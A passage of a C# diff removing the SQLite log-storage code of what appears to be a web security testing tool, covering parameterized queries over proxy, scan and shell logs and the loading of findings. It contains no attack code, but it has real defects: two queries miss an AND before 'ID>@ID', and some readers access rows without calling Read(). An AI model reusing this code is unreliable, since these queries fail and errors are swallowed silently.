0; i < Query.HostNamesToIgnore.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@HostName{0}", i), Query.HostNamesToIgnore[i]); - } - } - - if (Query.CodesToCheck.Count > 0) - { - for (int i = 0; i < Query.CodesToCheck.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@Code{0}", i), Query.CodesToCheck[i]); - } - } - else if (Query.CodesToIgnore.Count > 0) - { - for (int i = 0; i < Query.CodesToIgnore.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@Code{0}", i), Query.CodesToIgnore[i]); - } - } - - if (Query.FileExtensionsToCheck.Count > 0) - { - for (int i = 0; i < Query.FileExtensionsToCheck.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@File{0}", i), Query.FileExtensionsToCheck[i]); - } - } - else if (Query.FileExtensionsToIgnore.Count > 0) - { - for (int i = 0; i < Query.FileExtensionsToIgnore.Count; i++) - { - cmd.Parameters.AddWithValue(string.Format("@File{0}", i), Query.FileExtensionsToIgnore[i]); - } - } - - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - try - { - LogRow LR = new LogRow(); - try { LR.ID = Int32.Parse(result["ID"].ToString()); } - catch { continue; } - LR.Host = result["HostName"].ToString(); - LR.Method = result["Method"].ToString(); - LR.Url = result["URL"].ToString(); - LR.File = result["File"].ToString(); - LR.SSL = result["SSL"].ToString().Equals("1"); - LR.Parameters = result["Parameters"].ToString(); - try - { LR.Code = Int32.Parse(result["Code"].ToString()); } - catch { LR.Code = -1; } - try - { LR.Length = Int32.Parse(result["Length"].ToString()); } - catch { LR.Length = 0; } - LR.Mime = result["MIME"].ToString(); - LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - IronLogRecords.Add(LR); - } - catch { } - } - } - } - } - return IronLogRecords; - } - - - internal static string GetQueryWithoutIdsParts(LogSearchQuery Query) - { - string QueryFirstPart = string.Format("SELECT ID, SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse FROM {0} WHERE ", GetLogTableName(Query.LogSource)); - - StringBuilder SB = new StringBuilder(); - bool AndRequired = true; - - if (Query.HostNamesToCheck.Count > 0 || Query.HostNamesToIgnore.Count > 0) - { - if (AndRequired) SB.Append(" AND "); - SB.Append(GetHostNamesSearchQueryPart(Query)); - AndRequired = true; - } - - if (Query.CodesToCheck.Count > 0 || Query.CodesToIgnore.Count > 0) - { - if (AndRequired) SB.Append(" AND "); - SB.Append(GetCodesSearchQueryPart(Query)); - AndRequired = true; - } - - if (Query.FileExtensionsToCheck.Count > 0 || Query.FileExtensionsToIgnore.Count > 0) - { - if (AndRequired) SB.Append(" AND "); - SB.Append(GetFilesSearchQueryPart(Query)); - AndRequired = true; - } - - if (Query.MethodsToCheck.Count > 0 || Query.MethodsToIgnore.Count > 0) - { - if (AndRequired) SB.Append(" AND "); - SB.Append(GetMethodsSearchQueryPart(Query)); - AndRequired = true; - } - - if (Query.UrlMatchString.Length > 0) - { - if (AndRequired) SB.Append(" AND "); - SB.Append(GetUrlSearchQueryPart(Query.UrlMatchMode)); - AndRequired = true; - } - - if (Query.Keyword.Length > 0) - { - if (AndRequired) SB.Append(" AND "); - SB.Append(GetKeywordSearchQueryPart(Query.Keyword, Query.SearchRequestHeaders, Query.SearchRequestBody, Query.SearchResponseHeaders, Query.SearchResponseBody)); - AndRequired = true; - } - - StringBuilder FinalSB = new StringBuilder(); - FinalSB.Append(QueryFirstPart); FinalSB.Append(" {0} "); - FinalSB.Append(SB.ToString()); - return FinalSB.ToString(); - } - static string GetLogIdsRangeSearchQueryPart(int MinId, int MaxId) - { - return string.Format("(ID>{0} AND ID<{1})", MinId, MaxId); - } - static string GetLogIdsRangeSearchQueryPart(List Ids, int StartIndex, int Count) - { - StringBuilder SB = new StringBuilder(); - int Counter = 0; - for (int i = StartIndex; i < Ids.Count; i++) - { - if (Counter > Count) break; - if (SB.Length > 0) SB.Append(" OR "); - SB.Append(string.Format(" ID={0} ", Ids[i])); - Counter++; - } - return string.Format("({0})", SB.ToString()); - } - static string GetLogIdsRangeSearchQueryPart(int ScanID) - { - return string.Format("(ScanID={0})", ScanID); - } - static string GetHostNamesSearchQueryPart(LogSearchQuery Query) - { - List HostNames = new List(); - bool Negate = false; - if(Query.HostNamesToCheck.Count > 0) - { - HostNames = new List(Query.HostNamesToCheck); - Negate = false; - } - else if (Query.HostNamesToIgnore.Count > 0) - { - HostNames = new List(Query.HostNamesToIgnore); - Negate = true; - } - StringBuilder SB = new StringBuilder(); - for (int i=0; i< HostNames.Count ; i++) - { - if (SB.Length > 0) - { - if (Negate) - SB.Append(" AND "); - else - SB.Append(" OR "); - } - SB.Append("HostName"); - if (Negate) - SB.Append("!="); - else - SB.Append("="); - SB.Append(string.Format("@HostName{0}", i)); - } - return string.Format("({0})", SB.ToString()); - } - static string GetMethodsSearchQueryPart(LogSearchQuery Query) - { - List Methods = new List(); - bool Negate = false; - if (Query.MethodsToCheck.Count > 0) - { - Methods = new List(Query.MethodsToCheck); - Negate = false; - } - else if (Query.MethodsToIgnore.Count > 0) - { - Methods = new List(Query.MethodsToIgnore); - Negate = true; - } - StringBuilder SB = new StringBuilder(); - for (int i=0; i< Methods.Count ; i++) - { - if (SB.Length > 0) - { - if (Negate) - SB.Append(" AND "); - else - SB.Append(" OR "); - } - SB.Append("Method"); - if (Negate) - SB.Append("!="); - else - SB.Append("="); - SB.Append(string.Format("@Method{0}", i)); - } - return string.Format("({0})", SB.ToString()); - } - static string GetCodesSearchQueryPart(LogSearchQuery Query) - { - List Codes = new List(); - bool Negate = false; - if (Query.CodesToCheck.Count > 0) - { - Codes = new List(Query.CodesToCheck); - Negate = false; - } - else if (Query.CodesToIgnore.Count > 0) - { - Codes = new List(Query.CodesToIgnore); - Negate = true; - } - StringBuilder SB = new StringBuilder(); - for (int i = 0; i < Codes.Count; i++) - { - if (SB.Length > 0) - { - if (Negate) - SB.Append(" AND "); - else - SB.Append(" OR "); - } - SB.Append("Code"); - if (Negate) - SB.Append("!="); - else - SB.Append("="); - SB.Append(string.Format("@Code{0}", i)); - } - return string.Format("({0})", SB.ToString()); - } - static string GetFilesSearchQueryPart(LogSearchQuery Query) - { - List Files = new List(); - bool Negate = false; - if (Query.FileExtensionsToCheck.Count > 0) - { - Files = new List(Query.FileExtensionsToCheck); - Negate = false; - } - else if (Query.FileExtensionsToIgnore.Count > 0) - { - Files = new List(Query.FileExtensionsToIgnore); - Negate = true; - } - StringBuilder SB = new StringBuilder(); - for (int i = 0; i < Files.Count; i++) - { - if (SB.Length > 0) - { - if (Negate) - SB.Append(" AND "); - else - SB.Append(" OR "); - } - SB.Append("File"); - if (Negate) - SB.Append("!="); - else - SB.Append("="); - SB.Append(string.Format("@File{0}", i)); - } - return string.Format("({0})", SB.ToString()); - } - static string GetUrlSearchQueryPart(int UrlMatchType) - { - switch (UrlMatchType) - { - //match - case(0): - case(2): - case(3): - return "URL LIKE @UrlMatchKeyword"; - //don't match - case (1): - return "URL NOT LIKE @UrlMatchKeyword"; - //equal - case (4): - return "URL = @UrlMatchKeyword"; - //not equal - case (5): - return "URL != @UrlMatchKeyword"; - default: - return ""; - } - } - static string GetUrlSearchQueryValuePart(int UrlMatchType, string Keyword) - { - switch (UrlMatchType) - { - //match and dont match - case (0): - case (1): - return string.Format("%{0}%", Keyword); - //starts with - case (2): - return string.Format("{0}%", Keyword); - //ends with - case (3): - return string.Format("%{0}", Keyword); - //equal and not equal - case (4): - return Keyword; - default: - return ""; - } - } - static string GetKeywordSearchQueryPart(string Keyword, bool RequestHeaders, bool RequestBody, bool ResponseHeaders, bool ResponseBody) - { - StringBuilder SB = new StringBuilder(); - if (RequestHeaders) - { - SB.Append(" RequestHeaders LIKE @Keyword "); - } - if (ResponseHeaders) - { - if (SB.Length > 0) SB.Append(" OR "); - SB.Append(" ResponseHeaders LIKE @Keyword "); - } - if (RequestBody) - { - if (SB.Length > 0) SB.Append(" OR "); - SB.Append(" (RequestBody LIKE @Keyword AND BinaryRequest != 1) "); - } - if (ResponseBody) - { - if (SB.Length > 0) SB.Append(" OR "); - SB.Append(" (ResponseBody LIKE @Keyword AND BinaryResponse != 1) "); - } - return string.Format("({0})", SB.ToString()); - } - #endregion - - static string GetLogSourceFileName(string LogName) - { - switch (LogName) - { - case("Proxy"): - return ProxyLogFile; - case("Probe"): - return ProbeLogFile; - case ("Test"): - return TestLogFile; - case ("Shell"): - return ShellLogFile; - case ("Scan"): - return ScanLogFile; - default: - return GetOtherSourceLogFileName(LogName); - } - } - static string GetLogTableName(string LogName) - { - switch (LogName) - { - case ("Proxy"): - return "ProxyLog"; - case ("Probe"): - return "ProbeLog"; - case ("Test"): - return "TestLog"; - case ("Shell"): - return "ShellLog"; - case ("Scan"): - return "ScanLog"; - default: - return "Log"; - } - } - - internal static IronLogRecord GetRecordFromProxyLog(int ID) - { - string DataSource = "data source=" + ProxyLogFile; - string Cmd = "SELECT SSL, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, OriginalResponseHeaders, OriginalResponseBody, BinaryOriginalResponse, RoundTrip FROM ProxyLog WHERE ID=@ID LIMIT 1"; - return GetRecordFromDB(DataSource, Cmd,ID, true); - } - internal static IronLogRecord GetRecordFromTestLog(int ID) - { - string DataSource = "data source=" + TestLogFile; - string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM TestLog WHERE ID=@ID LIMIT 1"; - return GetRecordFromDB(DataSource, Cmd, ID, false); - } - internal static IronLogRecord GetRecordFromShellLog(int ID) - { - string DataSource = "data source=" + ShellLogFile; - string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ShellLog WHERE ID=@ID LIMIT 1"; - return GetRecordFromDB(DataSource, Cmd, ID, false); - } - internal static IronLogRecord GetRecordFromProbeLog(int ID) - { - string DataSource = "data source=" + ProbeLogFile; - string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ProbeLog WHERE ID=@ID LIMIT 1"; - return GetRecordFromDB(DataSource, Cmd, ID, false); - } - internal static IronLogRecord GetRecordFromScanLog(int ID) - { - string DataSource = "data source=" + ScanLogFile; - string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ScanLog WHERE ID=@ID LIMIT 1"; - return GetRecordFromDB(DataSource, Cmd, ID, false); - } - internal static IronLogRecord GetRecordFromOtherSourceLog(int ID, string Source) - { - string DataSource = "data source=" + GetOtherSourceLogFileName(Source); - string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM Log WHERE ID=@ID LIMIT 1"; - return GetRecordFromDB(DataSource, Cmd, ID, false); - } - - static IronLogRecord GetRecordFromDB(string DataSource, string CmdString, int ID, bool IsProxyLog) - { - IronLogRecord ILR = new IronLogRecord(); - - using(SQLiteConnection DB = new SQLiteConnection(DataSource)) - { - DB.Open(); - using(SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = CmdString; - cmd.Parameters.AddWithValue("@ID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (!result.HasRows) - { - throw new Exception("ID not found in DB"); - } - ILR.RequestHeaders = result["RequestHeaders"].ToString(); - ILR.RequestBody = result["RequestBody"].ToString(); - ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); - ILR.ResponseBody = result["ResponseBody"].ToString(); - //ILR.SSL = (result["SSL"].ToString().Equals("1")); - ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); - ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); - try - { - ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); - } - catch { } - if (IsProxyLog) - { - ILR.OriginalRequestHeaders = result["OriginalRequestHeaders"].ToString(); - ILR.OriginalRequestBody = result["OriginalRequestBody"].ToString(); - ILR.IsOriginalRequestBinary = (result["BinaryOriginalRequest"].ToString().Equals("1")); - ILR.OriginalResponseHeaders = result["OriginalResponseHeaders"].ToString(); - ILR.OriginalResponseBody = result["OriginalResponseBody"].ToString(); - ILR.IsOriginalResponseBinary = (result["BinaryOriginalResponse"].ToString().Equals("1")); - } - } - } - } - return ILR; - } - - internal static List GetRecordsFromProxyLog() - { - string DataSource = "data source=" + ProxyLogFile; - string Cmd = "SELECT ID, SSL, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, OriginalResponseHeaders, OriginalResponseBody, BinaryOriginalResponse, RoundTrip FROM ProxyLog"; - return GetRecordsFromDB(DataSource, Cmd, true); - } - internal static List GetRecordsFromTestLog() - { - string DataSource = "data source=" + TestLogFile; - string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM TestLog"; - return GetRecordsFromDB(DataSource, Cmd, false); - } - internal static List GetRecordsFromShellLog() - { - string DataSource = "data source=" + ShellLogFile; - string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ShellLog"; - return GetRecordsFromDB(DataSource, Cmd, false); - } - internal static List GetRecordsFromProbeLog() - { - string DataSource = "data source=" + ProbeLogFile; - string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ProbeLog"; - return GetRecordsFromDB(DataSource, Cmd, false); - } - internal static List GetRecordsFromScanLog() - { - string DataSource = "data source=" + ScanLogFile; - string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ScanLog"; - return GetRecordsFromDB(DataSource, Cmd, false); - } - internal static List GetRecordsFromOtherSourceLog(string Source) - { - string DataSource = "data source=" + GetOtherSourceLogFileName(Source); - string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM Log"; - return GetRecordsFromDB(DataSource, Cmd, false); - } - - static List GetRecordsFromDB(string DataSource, string CmdString, bool IsProxyLog) - { - List IronLogRecords = new List(); - - using(SQLiteConnection DB = new SQLiteConnection(DataSource)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = CmdString; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - try - { - IronLogRecord ILR = new IronLogRecord(); - try - { - ILR.ID = Int32.Parse(result["ID"].ToString()); - } - catch - { - ILR.ID = 0; - } - ILR.RequestHeaders = result["RequestHeaders"].ToString(); - ILR.RequestBody = result["RequestBody"].ToString(); - ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); - ILR.ResponseBody = result["ResponseBody"].ToString(); - //ILR.SSL = (result["SSL"].ToString().Equals("1")); - ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); - ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); - try - { - ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); - } - catch { } - if (IsProxyLog) - { - ILR.OriginalRequestHeaders = result["OriginalRequestHeaders"].ToString(); - ILR.OriginalRequestBody = result["OriginalRequestBody"].ToString(); - ILR.IsOriginalRequestBinary = (result["BinaryOriginalRequest"].ToString().Equals("1")); - ILR.OriginalResponseHeaders = result["OriginalResponseHeaders"].ToString(); - ILR.OriginalResponseBody = result["OriginalResponseBody"].ToString(); - ILR.IsOriginalResponseBinary = (result["BinaryOriginalResponse"].ToString().Equals("1")); - } - IronLogRecords.Add(ILR); - } - catch { } - } - } - } - } - return IronLogRecords; - } - - public static List GetRecordsFromProxyLog(int StartIndex, int Count) - { - string DataSource = "data source=" + ProxyLogFile; - string Cmd = "SELECT ID , SSL, HostName, Method, URL, Edited, File, Parameters, BinaryRequest, BinaryOriginalRequest, Code, Length, MIME, SetCookie, BinaryResponse, BinaryOriginalResponse, RoundTrip FROM ProxyLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDB(DataSource, Cmd, "proxy", StartIndex, Count); - } - public static List GetRecordsFromTestLog(int StartIndex, int Count) - { - string DataSource = "data source=" + TestLogFile; - string Cmd = "SELECT ID, SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM TestLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDB(DataSource, Cmd, "test", StartIndex, Count); - } - public static List GetRecordsFromShellLog(int StartIndex, int Count) - { - string DataSource = "data source=" + ShellLogFile; - string Cmd = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM ShellLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDB(DataSource, Cmd, "shell", StartIndex, Count); - } - public static List GetRecordsFromProbeLog(int StartIndex, int Count) - { - string DataSource = "data source=" + ProbeLogFile; - string Cmd = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM ProbeLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDB(DataSource, Cmd, "probe", StartIndex, Count); - } - public static List GetRecordsFromScanLog(int StartIndex, int Count) - { - string DataSource = "data source=" + ScanLogFile; - string Cmd = "SELECT ID , ScanID, SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM ScanLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDB(DataSource, Cmd, "scan", StartIndex, Count); - } - public static List GetRecordsFromSelectedOtherSourceLog(int StartIndex, int Count) - { - return GetRecordsFromOtherSourceLog(StartIndex, Count, IronLog.SelectedOtherSource); - } - public static List GetRecordsFromOtherSourceLog(int StartIndex, int Count, string Source) - { - string DataSource = "data source=" + GetOtherSourceLogFileName(Source); - string Cmd = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM Log WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDB(DataSource, Cmd, Source, StartIndex, Count); - } - - static List GetRecordsFromDB(string DataSource, string CmdString, string LogType, int StartIndex, int Count) - { - List IronLogRecords = new List(); - using(SQLiteConnection DB = new SQLiteConnection(DataSource)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = CmdString; - cmd.Parameters.AddWithValue("@ID", StartIndex); - cmd.Parameters.AddWithValue("@LIMIT", Count); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - try - { - LogRow LR = new LogRow(); - try { LR.ID = Int32.Parse(result["ID"].ToString()); } - catch { continue; } - if (LogType.Equals("scan")) - { - try { LR.ScanID = Int32.Parse(result["ScanID"].ToString()); } - catch { continue; } - } - if (LogType.Equals("proxy")) LR.Editied = result["Edited"].ToString().Equals("1"); - LR.Host = result["HostName"].ToString(); - LR.Method = result["Method"].ToString(); - LR.Url = result["URL"].ToString(); - LR.File = result["File"].ToString(); - LR.SSL = result["SSL"].ToString().Equals("1"); - LR.Parameters = result["Parameters"].ToString(); - try - { LR.Code = Int32.Parse(result["Code"].ToString()); } - catch { LR.Code = -1; } - try - { LR.Length = Int32.Parse(result["Length"].ToString()); } - catch { LR.Length = 0; } - LR.Mime = result["MIME"].ToString(); - LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - try - { - LR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); - } - catch { } - - IronLogRecords.Add(LR); - } - catch { } - } - } - } - } - return IronLogRecords; - } - - #region GetLastId - public static int GetLastProxyLogRowId() - { - string DataSource = "data source=" + ProxyLogFile; - string Cmd = "SELECT max(ID) FROM ProxyLog"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastProbeLogRowId() - { - string DataSource = "data source=" + ProbeLogFile; - string Cmd = "SELECT max(ID) FROM ProbeLog"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastScanLogRowId() - { - string DataSource = "data source=" + ScanLogFile; - string Cmd = "SELECT max(ID) FROM ScanLog"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastTestLogRowId() - { - string DataSource = "data source=" + TestLogFile; - string Cmd = "SELECT max(ID) FROM TestLog"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastShellLogRowId() - { - string DataSource = "data source=" + ShellLogFile; - string Cmd = "SELECT max(ID) FROM ShellLog"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastLogRowId(string Source) - { - string DataSource = "data source=" + GetOtherSourceLogFileName(Source); - string Cmd = "SELECT max(ID) FROM Log"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastTraceLogRowId() - { - string DataSource = "data source=" + TraceLogFile; - string Cmd = "SELECT max(ID) FROM Trace"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastScanTraceLogRowId() - { - string DataSource = "data source=" + TraceLogFile; - string Cmd = "SELECT max(ID) FROM ScanTrace"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastSessionPluginTraceLogRowId() - { - string DataSource = "data source=" + TraceLogFile; - string Cmd = "SELECT max(ID) FROM SessionPluginTrace"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastPluginResultLogRowId() - { - string DataSource = "data source=" + PluginResultsLogFile; - string Cmd = "SELECT max(ID) FROM Findings"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastExceptionLogRowId() - { - string DataSource = "data source=" + ExceptionsLogFile; - string Cmd = "SELECT max(ID) FROM Exceptions"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - public static int GetLastScanJobRowId() - { - string DataSource = "data source=" + IronProjectFile; - string Cmd = "SELECT max(ScanID) FROM ScanQueue"; - return GetLastRowIdFromDB(DataSource, Cmd); - } - static int GetLastRowIdFromDB(string DataSource, string CmdString) - { - int LastRowId = 0; - using(SQLiteConnection DB = new SQLiteConnection(DataSource)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = CmdString; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - try { LastRowId = Int32.Parse(result[0].ToString()); } - catch { } - break; - } - } - } - } - return LastRowId; - } - #endregion - - public static List GetRecordsFromProxyLogForUrl(string Host, string Url, int StartIndex, int Count) - { - string DataSource = "data source=" + ProxyLogFile; - string Cmd = "SELECT ID , SSL, Method, URL, File, Parameters, Code, Length, MIME, SetCookie, RoundTrip FROM ProxyLog WHERE HostName=@HostName and URL LIKE @URL ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDBForUrl(DataSource, Cmd, Host, Url, "proxy", StartIndex, Count); - } - public static List GetRecordsFromProbeLogForUrl(string Host, string Url, int StartIndex, int Count) - { - string DataSource = "data source=" + ProbeLogFile; - string Cmd = "SELECT ID , SSL, Method, URL, File, Parameters, Code, Length, MIME, SetCookie, RoundTrip FROM ProbeLog WHERE HostName=@HostName and URL LIKE @URL ID>@ID ORDER BY ID LIMIT @LIMIT"; - return GetRecordsFromDBForUrl(DataSource, Cmd, Host, Url, "probe", StartIndex, Count); - } - static List GetRecordsFromDBForUrl(string DataSource, string CmdString, string Host, string Url, string LogType, int StartIndex, int Count) - { - List IronLogRecords = new List(); - using(SQLiteConnection DB = new SQLiteConnection(DataSource)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = CmdString; - cmd.Parameters.AddWithValue("@HostName", Host); - cmd.Parameters.AddWithValue("@URL", Url); - cmd.Parameters.AddWithValue("@ID", StartIndex); - cmd.Parameters.AddWithValue("@LIMIT", Count); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - try - { - LogRow LR = new LogRow(); - try { LR.ID = Int32.Parse(result["ID"].ToString()); } - catch { continue; } - if (LogType.Equals("proxy")) - LR.Source = "Proxy"; - else if (LogType.Equals("probe")) - LR.Source = "Probe"; - else - break; - LR.Host = Host; - LR.Method = result["Method"].ToString(); - LR.Url = result["URL"].ToString(); - LR.File = result["File"].ToString(); - LR.SSL = result["SSL"].ToString().Equals("1"); - LR.Parameters = result["Parameters"].ToString(); - try - { LR.Code = Int32.Parse(result["Code"].ToString()); } - catch { LR.Code = -1; } - try - { LR.Length = Int32.Parse(result["Length"].ToString()); } - catch { LR.Length = 0; } - LR.Mime = result["MIME"].ToString(); - LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - try - { - LR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); - } - catch { } - IronLogRecords.Add(LR); - } - catch { } - } - } - } - } - return IronLogRecords; - } - - internal static Scanner GetScannerFromDB(int ScanID) - { - Scanner ScannerFromLog = null; - - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT RequestHeaders, RequestBody, BinaryRequest, Status, InjectionPoints, FormatPlugin, SessionPlugin, ScanPlugins FROM ScanQueue WHERE ScanID=@ScanID LIMIT 1"; - cmd.Parameters.AddWithValue("@ScanID", ScanID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - IronLogRecord ILR = new IronLogRecord(); - ILR.RequestHeaders = result["RequestHeaders"].ToString(); - ILR.RequestBody = result["RequestBody"].ToString(); - ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); - Session Irse = Session.GetIronSessionFromIronLogRecord(ILR, 0); - Request Req = Irse.Request; - string Status = result["Status"].ToString(); - string FormatPluginName = result["FormatPlugin"].ToString(); - string SessionPluginName = result["SessionPlugin"].ToString(); - string InjectionString = result["InjectionPoints"].ToString(); - string[] ScanPluginsArray = result["ScanPlugins"].ToString().Split(new char[] { ',' }); - - ScannerFromLog = new Scanner(Req); - ScannerFromLog.ScanID = ScanID; - - if (Status.Equals("Not Started")) return ScannerFromLog; - - if (SessionPluginName.Length > 0) - { - if (!SessionPluginName.Equals("None") && SessionPlugin.List().Contains(SessionPluginName)) - { - ScannerFromLog.SessionHandler = SessionPlugin.Get(SessionPluginName); - } - } - if (FormatPluginName.Length > 0) - { - if (!FormatPluginName.Equals("None") && FormatPlugin.List().Contains(FormatPluginName)) - { - ScannerFromLog.BodyFormat = FormatPlugin.Get(FormatPluginName); - } - } - if (ScanPluginsArray.Length > 0) - { - List ValidScanPlugins = ActivePlugin.List(); - foreach (string Name in ScanPluginsArray) - { - if (ValidScanPlugins.Contains(Name)) - { - ScannerFromLog.AddCheck(Name); - } - } - } - ScannerFromLog.AbsorbInjectionString(InjectionString); - ScannerFromLog.Status = Status; - - } - } - } - - return ScannerFromLog; - } - internal static Finding GetPluginResultFromDB(int ID) - { - Finding PR = null; - using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT HostName, Title, FinderName, FinderType, Meta, Summary, Severity, Confidence, Type, UniquenessString FROM Findings WHERE ID=@ID LIMIT 1"; - cmd.Parameters.AddWithValue("@ID", ID); - using(SQLiteDataReader result = cmd.ExecuteReader()) - { - PR = new Finding(result["HostName"].ToString()); - PR.Id = ID; - PR.Title = result["Title"].ToString(); - PR.FinderName = result["FinderName"].ToString(); - PR.FinderType = result["FinderType"].ToString(); - try - { - PR.XmlSummary = result["Summary"].ToString(); - } - catch - { - PR.Summary = result["Summary"].ToString(); - } - try - { - PR.XmlMeta = result["Meta"].ToString(); - } - catch { } - PR.Severity = GetSeverity(Int32.Parse(result["Severity"].ToString())); - PR.Confidence = GetConfidence(Int32.Parse(result["Confidence"].ToString())); - PR.Type = GetResultType(Int32.Parse(result["Type"].ToString())); - PR.Signature = result["UniquenessString"].ToString(); - } - - cmd.CommandText = "SELECT TriggersEncoded, RequestTriggerDesc, RequestTrigger, RequestHeaders, RequestBody, BinaryRequest, ResponseTriggerDesc, ResponseTrigger, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM Triggers WHERE ID=@ID"; - cmd.Parameters.AddWithValue("@ID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - string RequestTrigger = result["RequestTrigger"].ToString(); - string ResponseTrigger = result["ResponseTrigger"].ToString(); - - if (result["TriggersEncoded"].ToString().Equals("1")) - { - try - { - RequestTrigger = Tools.Base64Decode(RequestTrigger); - } - catch { } - try - { - ResponseTrigger = Tools.Base64Decode(ResponseTrigger); - } - catch { } - } - - IronLogRecord ILR = new IronLogRecord(); - ILR.RequestHeaders = result["RequestHeaders"].ToString(); - ILR.RequestBody = result["RequestBody"].ToString(); - ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); - - ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); - ILR.ResponseBody = result["ResponseBody"].ToString(); - ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); - try - { - ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); - } - catch { } - Session IrSe = 